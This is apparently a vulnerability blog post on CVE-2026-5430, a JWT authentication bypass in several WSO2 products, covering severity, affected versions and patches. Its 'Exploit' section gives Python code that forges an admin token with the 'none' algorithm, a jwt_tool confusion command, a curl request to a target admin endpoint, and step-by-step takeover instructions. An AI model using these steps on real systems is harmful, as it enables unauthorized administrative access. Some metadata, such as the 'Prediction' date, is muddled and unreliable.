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CVE-2026-5430: JWT Authentication Bypass via Unsupported Algorithm Validation in WSO2 Products
The JWT authentication mechanism in multiple WSO2 products accepts tokens signed with algorithms other than those explicitly configured or supported. This allows an attacker to craft a JWT with an unsupported algorithm, which is then incorrectly validated, leading to unauthorized access. The vulnerability is classified as CWE-347 (Improper Verification of Cryptographic Signature). An unauthenticated remote attacker can exploit this flaw by submitting a forged JWT that the validation routine accepts instead of rejecting. Successful exploitation may result in unauthorized access to the system, including the potential compromise of administrative accounts and full account takeover. The attack vector is network-based, with low attack complexity, requiring no privileges and no user interaction. The CVSS score is adjusted to 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) in single-tenant deployments, reflecting that the impact is contained within a single security authority boundary. The base CVSS v3.1 score is 10.0 CRITICAL with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. Affected products include WSO2 API Manager versions 4.1.0 through 4.6.0, WSO2 API Control Plane 4.5.0 and 4.6.0, WSO2 Traffic Manager 4.5.0 and 4.6.0, and WSO2 Universal Gateway 4.5.0 and 4.6.0. The root cause is that JWT validation logic fails to properly reject tokens signed with unsupported cryptographic algorithms. An attacker crafts and submits a JWT signed with an unsupported algorithm that the validation routine accepts instead of rejecting. This leads to a bypass of JWT authentication, granting unauthorized access with high impact to confidentiality, integrity, and availability. The vulnerability was discovered by hacktron.ai. WSO2 has released security advisory WSO2-2026-5328 with fixed update levels for community users and support subscription holders. Community users can apply public fixes from the provided GitHub pull requests or migrate to unaffected versions. Support subscribers should update to the specified update levels or higher via WSO2 Updates. Immediate mitigation includes applying the fixed update levels per the advisory. If patching is not feasible, restrict network access to affected management and gateway interfaces. The CVE was published on 2026-08-06, with the advisory originally published on 2026-05-03. The vulnerability allows an attacker to bypass authentication without any credentials, making it extremely dangerous for exposed WSO2 deployments. Organizations using affected WSO2 products must prioritize patching to prevent administrative account compromise and full system takeover.
DailyCVE Form:
Platform: Multiple WSO2 Products
Version: 4.1.0-4.6.0
Vulnerability: JWT Algorithm Mismatch
Severity: Critical 10.0
date: 2026-08-06
Prediction: 2026-05-03
What Undercode Say:
Analytics:
Decode JWT header to inspect algorithm
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
Craft JWT with unsupported algorithm using Python
python3 -c "
import jwt
token = jwt.encode({'sub': 'admin', 'role': 'administrator'}, key='', algorithm='none')
print(token)
"
Algorithm confusion attack with jwt_tool
python3 jwt_tool.py <JWT> -X a
Send forged token to target endpoint
curl -H "Authorization: Bearer <FORGED_JWT>" https://target/wso2/admin
Exploit: (Educational Purposes!)
- Intercept a legitimate JWT from the target WSO2 application.
- Decode the JWT header to identify the expected algorithm (e.g., RS256).
- Craft a new JWT with the same payload but change the algorithm to an unsupported value such as “none” or “HS256” when RS256 is expected.
- Sign the forged JWT using an empty key or the public key as an HMAC secret, depending on the algorithm confusion vector.
- Submit the forged JWT in the Authorization header to protected endpoints.
- Observe unauthorized access to administrative functions, leading to full account takeover.
Protection: from this CVE
- Update to the fixed update levels: WSO2 API Manager 4.1.0.257, 4.2.0.197, 4.3.0.108, 4.4.0.72, 4.5.0.57, 4.6.0.21; API Control Plane 4.5.0.58, 4.6.0.22; Traffic Manager 4.5.0.56, 4.6.0.21; Universal Gateway 4.5.0.57, 4.6.0.21.
- Apply public fixes from WSO2 GitHub pull requests if on community edition.
- Enforce strict algorithm whitelisting in JWT validation logic.
- Reject any JWT signed with algorithms not explicitly configured.
- Use only supported cryptographic algorithms and validate signatures with the correct key.
- Restrict network access to management and gateway interfaces as a temporary mitigation.
Impact:
Successful exploitation allows an unauthenticated attacker to bypass JWT authentication and gain unauthorized access to the system. This can lead to the compromise of administrative accounts and full account takeover. The vulnerability has high impact on confidentiality, integrity, and availability, as the attacker can read sensitive data, modify system configurations, and disrupt services. The CVSS score of 10.0 CRITICAL reflects the severe risk, with scope changed (S:C) indicating impact beyond the vulnerable component. In single-tenant deployments, the adjusted score is 9.8 due to containment within a single security authority boundary. Organizations must treat this as a critical emergency patch.
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Sources:
Reported By: www.cve.org
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